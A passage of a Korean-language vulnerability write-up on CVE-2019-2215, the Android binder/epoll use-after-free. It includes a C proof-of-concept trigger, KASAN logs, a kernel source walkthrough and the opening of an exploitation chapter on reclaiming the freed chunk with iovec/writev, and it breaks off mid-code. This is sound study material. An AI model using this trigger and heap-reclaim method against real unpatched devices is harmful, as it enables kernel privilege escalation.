  • kernel-headers.tar.gz
  • +
  • kernel-uapi-headers.tar.gz
  • +
  • System.map
  • +
  • vmlinux
  • +
  • +

    no kasan but gdbsymbols

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage
    +
    + +
      +
    • debugging할 때는 마지막에 -qemu -s 옵션 추가
    • +
    +
  • +
  • +

    with kasan

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/kasan/dist/bzImage
    +
    +
  • +
  • +

    debugging

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage -qemu -s -S
    +
    +
  • +
+ +


+

+ +

3. Background Information

+ +

이 쳅터에서는 실제로 코드를 분석하기 전, commit과 patch 내용을 토대로 취약점에 대한 전반적인 내용을 확인해 본다.

+ +


+ +

3.1 commit

+ +
    +
  • +

    https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0

    + +
      UPSTREAM: ANDROID: binder: remove waitqueue when thread exits.
    +    
    +  binder_poll() passes the thread->wait waitqueue that
    +  can be slept on for work. When a thread that uses
    +  epoll explicitly exits using BINDER_THREAD_EXIT,
    +  the waitqueue is freed, but it is never removed
    +  from the corresponding epoll data structure. When
    +  the process subsequently exits, the epoll cleanup
    +  code tries to access the waitlist, which results in
    +  a use-after-free.
    +    
    +  Prevent this by using POLLFREE when the thread exits.
    +    
    +  (cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f)
    +    
    +  Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e
    +  Signed-off-by: Martijn Coenen <maco@android.com>
    +  Reported-by: syzbot <syzkaller@googlegroups.com>
    +  Cc: stable <stable@vger.kernel.org> # 4.14
    +  Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    +    
    +
    +
  • +
  • 위 commit에서 알 수 있는 내용은 아래와 같다. +
      +
    1. binder_poll이 thread→wait waitqueue를 넘긴다.
    2. +
    3. 이 쓰레드는 epoll에서 BINDER_THREAD_EXIT에 의해 해제되면서 waitqueue가 해제된다.
    4. +
    5. 하지만 epoll data structure에는 여전히 남아있다.
    6. +
    7. 따라서 이후 epoll cleanup과정에서 waitqueue에 접근할 때 UAF가 터진다
    8. +
    +
  • +
  • commit에 언급된 부분은 BINDER_THREAD_EXIT, epollwaitqueue, binder_poll 이고, 이를 앞으로 분석한다.
  • +
+ +


+ +

3.2 Patch diff

+ +
    +
  • +

    우리는 patch 내용을 보고 실제 코드에서 어떤 부분이 취약했는지 유추하고 이를 어떤 방법으로 막았는지 살펴본다.

    + +
      /drivers/android/binder.c patch diff
    +    
    +  --- a/drivers/android/binder.c
    +  +++ b/drivers/android/binder.c
    +    
    +  @@ -4535,6 +4535,18 @@
    +   		if (t)
    +   			spin_lock(&t->lock);
    +   	}
    +  +
    +  +	/*
    +  +	 * If this thread used poll, make sure we remove the waitqueue
    +  +	 * from any epoll data structures holding it with POLLFREE.
    +  +	 * waitqueue_active() is safe to use here because we're holding
    +  +	 * the inner lock.
    +  +	 */
    +  +	if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
    +  +	    waitqueue_active(&thread->wait)) {
    +  +		wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
    +  +	}
    +  +
    +   	binder_inner_proc_unlock(thread->proc);
    +    
    +   	if (send_reply)
    +    
    +
    +
  • +
  • 위 코드는 binder_thread_release함수 내부에 추가된 코드이다.
  • +
  • 위 코드에서 주석을 보고 알 수 있는 점은 다음과 같다. +
      +
    • binder를 해제할 때 epoll 구조체에 연결되어 있는지 확인하는 작업을 추가했고, 이를 waitqueue_activate함수를 추가함으로서 해결한 것으로 유추할 수 있다.
    • +
    +
  • +
  • wait_queue_activate함수는 thread->wait->wq_head->head->next가 head 자기 자신을 가리키는지 확인한다. 즉 circular double linked list에서 node의 next가 자기 자신을 가리키는 상황으로 존재하는지 여부를 확인한다.
  • +
+ +

이를 통해 알 수 있는 점은 binder thread와 epoll간의 wait_queue 연결이 되어 있고, circular double linked list가 문제가 될 수 있다는 점을 알 수 있다.

+ +


+

+ +

4. Root Cause Analysis

+ +

이번 쳅터에서는 POC를 통해 UAF가 발생되는 취약점의 Root Cause를 분석한다.

+ +

분석 순서는 POC의 진행 과정을 따라 Allocate, Free, Use 순으로 진행된다.

+ +


+ +

4.1 POC

+ +
#include <fcntl.h>
+#include <sys/epoll.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define BINDER_THREAD_EXIT 0x40046208ul
+
+int main()
+{
+        int fd, epfd;
+        struct epoll_event event = { .events = EPOLLIN };
+
+        fd = open("/dev/binder0", O_RDONLY);
+        epfd = epoll_create(1000);
+        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+        ioctl(fd, BINDER_THREAD_EXIT, NULL);
+}
+
+
+ +


+ +

4.2 Allocate

+ +

Use-After-Free 버그가 발생했다는 것은 patch note를 통해 알 수 있다. 이후, Use-After-Free 취약점이 발생한 힙 청크가 어디서 할당되었는지 알아보기 위해 chromium에 올라온 KASAN 코드를 확인해 볼 수 있다.

+ + + +
[  464.655899] c0   3033 Allocated by task 3033:
+[  464.658257]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
+[  464.663899]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
+[  464.669882]  [<ffffff90082b0b14>] kasan_kmalloc.part.5+0x50/0x124
+[  464.675528]  [<ffffff90082b0e38>] kasan_kmalloc+0xc4/0xe4
+[  464.681597]  [<ffffff90082ac8a4>] kmem_cache_alloc_trace+0x12c/0x240
+[  464.686992]  [<ffffff90094093c0>] binder_get_thread+0xdc/0x384
+[  464.693319]  [<ffffff900940969c>] binder_poll+0x34/0x1bc
+[  464.699127]  [<ffffff900833839c>] SyS_epoll_ctl+0x704/0xf84
+[  464.704423]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

위 정보를 보면 epoll_ctl에서 binder_poll이 호출되어 힙이 할당된다. POC를 확인해 봤을 때, 아래에 해당하는 부분에서 청크가 할당된 것으로 추측할 수 있다.

+ +
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+
+ +
    +
  • epfd : epoll_create의 return value
  • +
  • fd : binder file descripter
  • +
+ +

binder 드라이버의 파일 디스크립터는 open("/dev/binder0", O_RDONLY); 코드를 통해 얻을 수 있고, epfd는 epfd = epoll_create(1000); 이 코드를 통해 얻게 된다. 따라서 우리는 먼저 epoll_create를 분석한다.

+ +


+ +

4.2.1 epoll_create

+ +
// poc.c
+int main()
+{
+        ...
+        epfd = epoll_create(1000);
+        ...
+}
+
+ +

위 poc에서 호출되는 epoll_create의 과정을 간략히 설명하면 다음과 같다.

+ +
    +
  1. binder_open함수가 실행되고 binder_proc 구조체가 할당된다.
  2. +
  3. +

    epoll_create → epoll_alloc 함수가 실행되고 그 내부적으로 아래와 같은 코드가 실행된다.

    + +
     //  /fs/eventpoll.c
    + static int ep_alloc(struct eventpoll **pep)
    + {
    + 		[...]
    + 		struct eventpoll *ep;
    + 		[...]
    +    
    + 		init_wait_queue_head(&ep->wq);
    + 			//ep->wq->head->next = ep->wq->head
    + 			//ep->wq->head->prev = ep->wq->head
    + 		init_wait_queue_head(&ep->poll_wait)
    + 			//ep->poll_wait->head->next = ep->poll_wait->head
    + 			//ep->poll_wait->head->prev = ep->poll_wait->head
    +    
    + 		[...]
    + }
    +
    +
  4. +
+ +


+ +

그리고 아래 코드에 의해 file→private_data = ep ; ep→file = file 이 결론적으로 수행된다.

+ +
// /fs/eventpoll.c
+SYSCALL_DEFINE1(epoll_create1, int, flags)
+{
+    file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep,
+						 O_RDWR | (flags & O_CLOEXEC)); // file->private_data = ep
+
+    //[...]
+    ep->file = file;
+    fd_install(fd, file);
+    return fd;
+    //[...]
+}
+
+// /fs/anon_inodes.c
+struct file *anon_inode_getfile(const char *name,
+				const struct file_operations *fops,
+				void *priv, int flags)
+{
+  //[...]
+  file->private_data = priv;
+  return file
+  //[...]
+}
+
+ +

결과적으로 생성된 구조체는 다음과 같다.

+ +

그림 1. epoll_create이후 생성된 구조체 list

+ +
    +
  • 위 다이어그램은 각 구조체의 중요한 맴버만 표시한 것으로 다이어그램 속 맴버가 전부가 아님을 밝힌다.
  • +
+ +


+ +

4.2.2 epoll_ctl

+ +
// poc.c
+int main()
+{
+        //[...]
+        epfd = epoll_create(1000);
+        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+        //[...]
+}
+
+ +


+POC를 따라 epoll_ctl 코드가 있는 곳을 보면 아래와 같다.

+ +
// /fs/eventpoll.c
+SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
+		struct epoll_event __user *, event)
+{
+	int error;
+	int full_check = 0;
+	struct fd f, tf;
+	struct eventpoll *ep;
+	struct epitem *epi;
+	struct epoll_event epds;
+	struct eventpoll *tep = NULL;
+
+    //[...]
+
+	case EPOLL_CTL_ADD:
+			if (!epi) {
+				epds.events |= POLLERR | POLLHUP;
+				error = ep_insert(ep, &epds, tf.file, fd, full_check);
+			} else
+				error = -EEXIST;
+			break;
+
+
+ +
    +
  • ep_insert 함수가 실행되는데 인자로 들어가는 부분은 아래와 같다. +
      +
    • ep : f.file→private_data, ep_create 로 만들어진 eventpoll 구조체이다.
    • +
    • epds : epoll_ctl의 4번째 인자가 copy된 값이다.
    • +
    • tf : fd의 file descriptor로, binder의 fd값이다.
    • +
    +
  • +
+ +


+ep_insert 함수에서 아래 함수가 실행된다.

+ +
// /fs/eventpoll.c
+static int ep_insert(struct eventpoll *ep, struct epoll_event *event,
+		     struct file *tfile, int fd, int full_check)
+{
+    ...
+    epi->ep = ep;
+		ep_set_ffd(&epi->ffd, tfile, fd);
+    ...
+    revents = ep_item_poll(epi, &epq.pt);
+    ...
+}
+
+// /fs/eventpoll.c
+static inline void ep_set_ffd(struct epoll_filefd *ffd,
+			      struct file *file, int fd)
+{
+	ffd->file = file;
+	ffd->fd = fd;
+}
+
+// /fs/eventpoll.c
+static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt)
+{
+	pt->_key = epi->event.events;
+
+	return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;
+}
+
+
+ +
    +
  • ep_set_ffd에 의하여 epi->ffd.file은 tfile 즉 binder의 fd가 들어간다.
  • +
  • 따라서 이후 ep_item_poll에서 epi->ffd.file->f_op->poll(epi->ffd.file, pt)함수를 실행하면, binder fd와 연결된 binder_poll 함수가 실행된다.
  • +
+ +


+ +

binder_poll은 아래와 같다.

+ +
//drivers/android/binder.c
+static unsigned int binder_poll(struct file *filp,
+				struct poll_table_struct *wait)
+{
+	struct binder_proc *proc = filp->private_data;
+	struct binder_thread *thread = NULL;
+	bool wait_for_proc_work;
+
+	thread = binder_get_thread(proc); //binder thread 세팅
+	if (!thread)
+		return POLLERR;
+
+	binder_inner_proc_lock(thread->proc);
+	thread->looper |= BINDER_LOOPER_STATE_POLL;
+	wait_for_proc_work = binder_available_for_proc_work_ilocked(thread);
+
+	binder_inner_proc_unlock(thread->proc);
+
+	poll_wait(filp, &thread->wait, wait);
+
+	if (binder_has_work(thread, wait_for_proc_work))
+		return POLLIN;
+
+	return 0;
+}
+
+
+ +

위에서 보여진 binder_proc *proc에는 처음 binder driver를 열었을 때 생성된 binder_proc구조체가 들어가게 된다. 그리고 binder_get_thread함수에서 binder_thread 구조체를 할당한 다음 세팅한다.

+ +


+binder_get_thread함수는 아래와 같다.

+ +
// /drivers/android/binder.c
+static struct binder_thread *binder_get_thread(struct binder_proc *proc)
+{
+	struct binder_thread *thread;
+	struct binder_thread *new_thread;
+
+	binder_inner_proc_lock(proc);
+	thread = binder_get_thread_ilocked(proc, NULL);
+	binder_inner_proc_unlock(proc);
+	if (!thread) {
+		new_thread = kzalloc(sizeof(*thread), GFP_KERNEL); // 새로운 binder thread할당
+		if (new_thread == NULL)
+			return NULL;
+		binder_inner_proc_lock(proc);
+		thread = binder_get_thread_ilocked(proc, new_thread);
+		binder_inner_proc_unlock(proc);
+		if (thread != new_thread)
+			kfree(new_thread);
+	}
+	return thread;
+}
+
+
+ +
    +
  • 위 함수에서 보면 kzalloc(sizeof(*thread), GFP_KERNEL); 코드를 통해 새로운 thread를 할당 받는 것을 알 수 있다.
  • +
  • 이때 할당 받은 청크가 우리가 UAF에서 사용할 청크이다.
  • +
+ +


+binder thread 구조체는 아래와 같다.

+ +
//drivers/android/binder.c
+struct binder_thread {
+	struct binder_proc *proc;
+	struct rb_node rb_node;
+	struct list_head waiting_thread_node;
+	int pid;
+	int looper;              /* only modified by this thread */
+	bool looper_need_return; /* can be written by other thread */
+	struct binder_transaction *transaction_stack;
+	struct list_head todo;
+	struct binder_error return_error;
+	struct binder_error reply_error;
+	wait_queue_head_t wait; //이 부분이 중요!
+	struct binder_stats stats;
+	atomic_t tmp_ref;
+	bool is_dead;
+};
+
+
+ +


+우리는 앞서 패치 노트를 통해 epoll과 waitqueue에 어떤 부분에 의하여 UAF가 발생했다는 것을 추측할 수 있다. 따라서 이와 관련이 있어 보이는 poll_wait(filp, &thread->wait, wait); 코드를 볼 필요가 있다.

+ +
//drivers/android/binder.c
+static unsigned int binder_poll(struct file *filp,
+				struct poll_table_struct *wait)
+{
+    ...
+    poll_wait(filp, &thread->wait, wait);
+    ...
+}
+
+// /include/linux/poll.h
+static inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p)
+{
+	if (p && p->_qproc && wait_address)
+		p->_qproc(filp, wait_address, p);
+}
+
+
+ +
    +
  • +

    p→_qproc는 ep_insert함수에서 실행된 init_poll_funcptr(&epq.pt, ep_ptable_queue_proc); 코드에 의해 ep_ptable_queue_proc함수로 세팅되어, 해당 함수가 실행된다.

    + +
      // /fs/eventpoll.c
    +  static int ep_insert(struct eventpoll *ep, struct epoll_event *event, struct file *tfile, int fd, int full_check)
    +  { 
    +  		//... 
    +  		epq.epi = epi;	
    +  		init_poll_funcptr(&epq.pt, ep_ptable_queue_proc); 
    +  		//...
    +  }
    +    
    +  // /include/linux/poll.h
    +  static inline void init_poll_funcptr(poll_table *pt, poll_queue_proc qproc)
    +  {	
    +  		pt->_qproc = qproc;	
    +  		pt->_key = ~0UL; /* all events enabled */
    +  }
    +
    +
  • +
+ +


+ +

이어서 ep_ptable_queue_proc을 보면 다음과 같다.

+ +
// /fs/eventpoll.c
+
+static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,
+				 poll_table *pt)
+{
+	struct epitem *epi = ep_item_from_epqueue(pt);
+	struct eppoll_entry *pwq;
+
+	if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {
+		init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
+		pwq->whead = whead;
+		pwq->base = epi;
+		if (epi->event.events & EPOLLEXCLUSIVE)
+			add_wait_queue_exclusive(whead, &pwq->wait);
+		else
+			add_wait_queue(whead, &pwq->wait);
+		list_add_tail(&pwq->llink, &epi->pwqlist);
+		epi->nwait++;
+	} else {
+		/* We have to signal that an error occurred */
+		epi->nwait = -1;
+
+	//[...]
+}
+
+// /kernel/sched/wait.c
+void add_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
+{
+	unsigned long flags;
+
+	wq_entry->flags &= ~WQ_FLAG_EXCLUSIVE;
+	spin_lock_irqsave(&wq_head->lock, flags);
+	__add_wait_queue(wq_head, wq_entry);
+	spin_unlock_irqrestore(&wq_head->lock, flags);
+}
+
+// /include/linux/wait.h
+static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
+{
+	list_add(&new->task_list, &head->task_list);
+}
+
+// /include/linux/list.h
+static inline void list_add(struct list_head *new, struct list_head *head)
+{
+	__list_add(new, head, head->next);
+}
+
+// /include/linux/list.h
+static inline void __list_add(struct list_head *new,
+			      struct list_head *prev,
+			      struct list_head *next)
+{
+	next->prev = new;
+	new->next = next;
+	new->prev = prev;
+	prev->next = new;
+}
+
+ +
    +
  • add_wait_queue를 호출하여 binder_thread의 circular double linked list에 eppoll_entry.wait->task_list를 binder_thread 다음 노드로 추가
  • +
+ +


+ +

eppoll_entry 구조체는 아래와 같다.

+ +
// /fs/eventpoll.c
+struct eppoll_entry {
+	/* List header used to link this structure to the "struct epitem" */
+	struct list_head llink;
+
+	/* The "base" pointer is set to the container "struct epitem" */
+	struct epitem *base;
+
+	/*
+	 * Wait queue item that will be linked to the target file wait
+	 * queue head.
+	 */
+	wait_queue_t wait;
+
+	/* The wait queue head that linked the "wait" wait queue item */
+	wait_queue_head_t *whead;
+};
+
+ +

위 과정들을 통해 만들어진 구조체는 다음과 같다.

+ +

그림 2. epitem, eppoll_entry, binder_thread의 연결관계

+ +


+

+ +

지금까지 진행 과정을 정리하자면 다음과 같다.

+ +
    +
  1. binder_thread 구조체 생성
  2. +
  3. eventpoll구조체 생성
  4. +
  5. epoll_ctl → ep_insert → ep_item_poll → binder_poll 호출
  6. +
  7. binder_poll에서 binder_get_thread함수를 통해 새로운 binder_thread할당
  8. +
  9. 이후 poll_wait → ep_ptable_queue_proc 함수 실행
  10. +
  11. epoll_entry→whead에 binder_thread.wait 대입, epoll_entry→wait에 binder_thread→wait.head 리스트 연결
  12. +
+ +


+

+ +

4.3 Free

+ +

이번에는 UAF에 사용된 청크가 어떻게 해제 되었는지 살펴보기 위해 먼저 KASAN log를 살펴본다.

+ +
[  464.714124] c0   3033 Freed by task 3033:
+[  464.716396]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
+[  464.721699]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
+[  464.727678]  [<ffffff90082b16a4>] kasan_slab_free+0xb0/0x1c0
+[  464.733322]  [<ffffff90082ae214>] kfree+0x8c/0x2b4
+[  464.738952]  [<ffffff900940ac00>] binder_thread_dec_tmpref+0x15c/0x1c0
+[  464.743750]  [<ffffff900940d590>] binder_thread_release+0x284/0x2e0
+[  464.750253]  [<ffffff90094149e0>] binder_ioctl+0x6f4/0x3664
+[  464.756498]  [<ffffff90082e1364>] do_vfs_ioctl+0x7f0/0xd58
+[  464.762052]  [<ffffff90082e1968>] SyS_ioctl+0x9c/0xc0
+[  464.767513]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

보면 SyS_ioctl에서 binder_ioctl → binder_thread_release 함수를 통해 binder_thread가 해제되었다는 것을 추측할 수 있다.

+ +

poc에서 아래 코드를 통해 binder_ioctl이 호출된다.

+ +
//poc.c
+int main()
+{
+        [...]
+        ioctl(fd, BINDER_THREAD_EXIT, NULL);
+}
+
+ +


+위 poc를 통해 호출되는 binder_ioctl코드를 자세히 살펴보면 다음과 같다.

+ +
// /drivers/android/binder.c
+
+static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
+{
+	int ret;
+	struct binder_proc *proc = filp->private_data;
+	struct binder_thread *thread;
+	unsigned int size = _IOC_SIZE(cmd);
+	void __user *ubuf = (void __user *)arg;
+
+	...
+
+	thread = binder_get_thread(proc);
+
+	...
+
+	case BINDER_THREAD_EXIT:
+			binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\\n",
+				     proc->pid, thread->pid);
+			binder_thread_release(proc, thread);
+			thread = NULL;
+			break;
+
+
+ +

binder_proc에서 binder_thread를 얻은 다음, 이를 binder_thread_release함수에 인자로 넘겨준다.

+ +


+

+ +

binder_thread_release → binder_thread_dec_tmpref → binder_free_thread 순으로 함수가 호출된다.

+ +
// /drivers/android/binder.c
+static int binder_thread_release(struct binder_proc *proc,
+				 struct binder_thread *thread)
+{
+
+	[...]
+
+	if (send_reply)
+		binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
+	binder_release_work(proc, &thread->todo);
+	binder_thread_dec_tmpref(thread);
+	return active_transactions;
+}
+
+// /drivers/android/binder.c
+static void binder_thread_dec_tmpref(struct binder_thread *thread)
+{
+	/*
+	 * atomic is used to protect the counter value while
+	 * it cannot reach zero or thread->is_dead is false
+	 */
+	binder_inner_proc_lock(thread->proc);
+	atomic_dec(&thread->tmp_ref);
+	if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
+		binder_inner_proc_unlock(thread->proc);
+		binder_free_thread(thread);
+		return;
+	}
+	binder_inner_proc_unlock(thread->proc);
+}
+
+// /drivers/android/binder.c
+static void binder_free_thread(struct binder_thread *thread)
+{
+	...
+	kfree(thread);
+}
+
+
+ +

결국 마지막 binder_free_thread함수에서 thread가 해제된다.

+ +


+ +

여기서 문제는 이전 단계에서 eppoll_entry→whead와 eppoll_entry->wait 가 binder_thread→wait와 circular doubly linked list로 연결되었는데, epoll_entry에 연결된 list에 대한 정리가 여기서 진행되지 않는다. 따라서 여전히 eppoll_entry에서 해제된 thread 청크에 접근이 가능한 상태로 남게된다.

+ +
    +
  • 그림 2 참고
  • +
+ +


+ +

4.4 Use

+ +

해제한 청크를 사용하는 부분을 확인해보기 위해 KASAN log를 보면 아래와 같다.

+ +
[  464.545928] c0   3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
+[  464.549328] c0   3033 [<ffffff900808f574>] show_stack+0x1c/0x24
+[  464.555411] c0   3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
+[  464.561319] c0   3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
+[  464.567219] c0   3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
+[  464.574501] c0   3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
+[  464.580753] c0   3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
+[  464.587125] c0   3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
+[  464.593617] c0   3033 [<ffffff9008337744>] ep_free+0x74/0x11c
+[  464.601149] c0   3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
+[  464.606988] c0   3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
+[  464.613724] c0   3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
+[  464.619463] c0   3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
+[  464.625193] c0   3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
+[  464.631260] c0   3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
+[  464.637167] c0   3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
+[  464.643421] c0   3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

보면 do_exit과정에서 힙청크를 정리하는 과정에 ep_eventpoll_release함수가 실행되었고 ep_free를 통해 epoll에 연결된 wait queue를 제거하다가 발생했다는 것을 어느 정도 유추할 수 있는데 자세히 분석해본다.

+ +


+ +

4.4.1 ep_unregister_pollwait

+ +
// /fs/eventpoll.c
+static int ep_eventpoll_release(struct inode *inode, struct file *file)
+{
+	struct eventpoll *ep = file->private_data;
+
+	if (ep)
+		ep_free(ep);
+
+	return 0;
+}
+
+// /fs/eventpoll.c
+static void ep_free(struct eventpoll *ep)
+{
+	// [...]
+	for (rbp = rb_first_cached(&ep->rbr); rbp; rbp = rb_next(rbp)) {
+		epi = rb_entry(rbp, struct epitem, rbn);
+
+		ep_unregister_pollwait(ep, epi);
+		cond_resched();
+	}
+	// [...]
+
+}
+
+// /fs/eventpoll.c
+static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
+{
+	struct list_head *lsthead = &epi->pwqlist;
+	struct eppoll_entry *pwq;
+	while (!list_empty(lsthead)) {
+		pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
+		list_del(&pwq->llink);
+		ep_remove_wait_queue(pwq);
+		kmem_cache_free(pwq_cache, pwq);
+	}
+}
+
+ +

ep_eventpoll_releaseep_free -> ep_unregister_pollwait 순서대로 호출된다.

+ +

이때 pwq→wait과 pwq→whead가 freed binder_thread→wait과 연결되어 있다는 것을 기억하면서 ep_remove_wait_queue로 더 들어가보면 다음과 같다.

+ +
// /fs/eventpoll.c
+static void ep_remove_wait_queue(struct eppoll_entry *pwq)
+{
+	wait_queue_head_t *whead;
+	rcu_read_lock();
+	// [...]
+	whead = smp_load_acquire(&pwq->whead);
+	if (whead)
+		remove_wait_queue(whead, &pwq->wait);
+	rcu_read_unlock();
+}
+
+
+ +

위 코드를 보면 smp_load_acquire을 통해 pwq->whead를 얻어와서 remove_wait_queue함수로 전달하는 것을 볼 수 있다. whead와 pwq→wait 모두 binder_thread.wait과 연결되어있다.

+ +

그림 3. whead와 pwq->wait이 binder_thread.wait과 연결되어 있는 모습

+ +


+ +
// /fs/eventpoll.c
+
+void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
+{
+	unsigned long flags;
+
+	spin_lock_irqsave(&q->lock, flags);
+	__remove_wait_queue(q, wait);
+	spin_unlock_irqrestore(&q->lock, flags);
+}
+
+__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
+{
+	list_del(&old->task_list);
+}
+
+static inline void list_del(struct list_head *entry)
+{
+        __list_del_entry(entry);
+        ...
+}
+
+static inline void __list_del_entry(struct list_head *entry)
+{
+        ...
+        __list_del(entry->prev, entry->next);
+}
+
+static inline void __list_del(struct list_head * prev, struct list_head * next)
+{
+        next->prev = prev;
+        WRITE_ONCE(prev->next, next);
+}
+
+
+ +

위 함수들을 거쳐서 pwq→wait의 list를 제거하는 과정을 거치는데, circular double linked list를 해제하는 과정이다.

+ +

위 과정을 거쳐 eppoll_entry에 연결된 circular double linked list를 제거하면 아래 사진과 같이 자기 자신을 가리키는 포인터가 entry→prev와 entry→next에 저장된다

+ +

그림 4. circular doubly linked list 해제에 의하여 자기 자신을 가리키는 binder_thread

+ +

그림 5. 실제 메모리에서 binder_thread.wait의 prev와 next가 자기 자신을 가리키는 모습 (0xffff88801a0790a8이 head)

+ +


+

+ +

5. Exploit

+ +

아래에서 언급되는 exploit code는 아래 링크의 코드를 사용했다

+ + + +


+ +

5.1 Improve Vulnerability

+ +

앞서 찾은 취약점을 요약하면 아래와 같다.

+ +
    +
  1. binder_thread→wait은 epoll_ctl을 통해 eppoll_entry→wait, eppoll_entry→whead에 연결된다.
  2. +
  3. ioctl을 통해 binder_thread를 해제할 수 있다.
  4. +
  5. eppoll_entry→wait, epoll_entry→whead에서는 binder_thread를 여전히 가리키고 있다.
  6. +
  7. +

    exit단계에서 ep_remove함수가 실행되고 epoll_entry→wait circular double linked list를 해제하는 과정에서 UAF가 발생한다.

    + +
     // /fs/eventpoll.c
    + SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
    + 		struct epoll_event __user *, event)
    + {
    +       //[...]
    +       switch (op) {
    +         //[...]
    +         case EPOLL_CTL_DEL:
    + 			if (epi)
    + 				error = ep_remove(ep, epi);
    + 			else
    + 				error = -ENOENT;
    + 			break;
    + 	//[...]
    + }
    +
    + +

    exit단계에서 호출된 ep_remove 함수는 epoll_ctl의 EPOLL_CTL_DEL 옵션을 통해 호출이 따로 가능하다. 따라서 아래와 같이 호출한다면 UAF가 동일하게 발생할 수 있다.

    + +
     epoll_ctl(iEpFd, EPOLL_CTL_DEL, iBinderFd, &epoll_ev)
    +
    +
  8. +
+ +


+ +

이 챕터에서는 binder_thread를 어떤 객체로 어떻게 덮을 것이고, 이를 통해 어떻게 Arbitrary Read/Write primitive를 얻을 것인지 살펴본다.

+ +


+ +

5.1.1 Allocate iovec with writev

+ +
//poc.c line 16
+    ioctl(fd, BINDER_THREAD_EXIT, NULL);
+
+ +

위 코드에 의해 해제된 binder_thread는 408 크기이다.

+ +

그림 6. binder_thread 크기

+ +


+

+ +

해제된 chunk는 slub의 kmalloc-512에 들어가게 되고, 우리가 이 chunk를 다시 사용하기 위해서는 kmalloc-512에 해당하는 크기의 chunk를 할당 받아야 한다.

+ +

이를 위하여 이 exploit에서는 iovec 을 이용한다. iovec은 writev, readv 함수에서 일반적인 buffer 대신에 사용할 수 있도록 하는 구조체이다.

+ +


+

+ +

iovec 구조체는 아래와 같다.

+ +
struct iovec
+{
+	void __user *iov_base;	/* BSD uses caddr_t (1003.1g requires void *) */
+	__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
+};
+
+ +

iov_base는 전송할 데이터의 시작 주소를 가리키고, iov_len은 iov_base를 기준으로 전송하고자 하는 바이트 수이다. 이 구조체가 실제로 커널에서는 어떻게 커널 힙으로 할당되는지 알기 위해서, writev함수의 내부 코드를 살펴봐야 한다.

+ +


+

+ +

우리가 exploit에서 사용할 writev함수를 살펴보면 아래와 같다.

+ +
// /fs/read_write.c
+SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
+		unsigned long, vlen)
+{
+	struct fd f = fdget_pos(fd);
+	ssize_t ret = -EBADF;
+
+	if (f.file) {
+		loff_t pos = file_pos_read(f.file);
+		ret = vfs_writev(f.file, vec, vlen, &pos);
+	//[...]
+	}
+
+	//[...]
+
+	return ret;
+}
+
+// /fs/read_write.c
+ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
+		   unsigned long vlen, loff_t *pos)
+{
+	//[...]
+
+	return do_readv_writev(WRITE, file, vec, vlen, pos);
+}
+
+// /fs/read_write.c
+static ssize_t do_readv_writev(int type, struct file *file,
+			       const struct iovec __user * uvector,
+			       unsigned long nr_segs, loff_t *pos)
+{
+	size_t tot_len;
+	struct iovec iovstack[UIO_FASTIOV];
+	struct iovec *iov = iovstack;
+	struct iov_iter iter;
+	ssize_t ret;
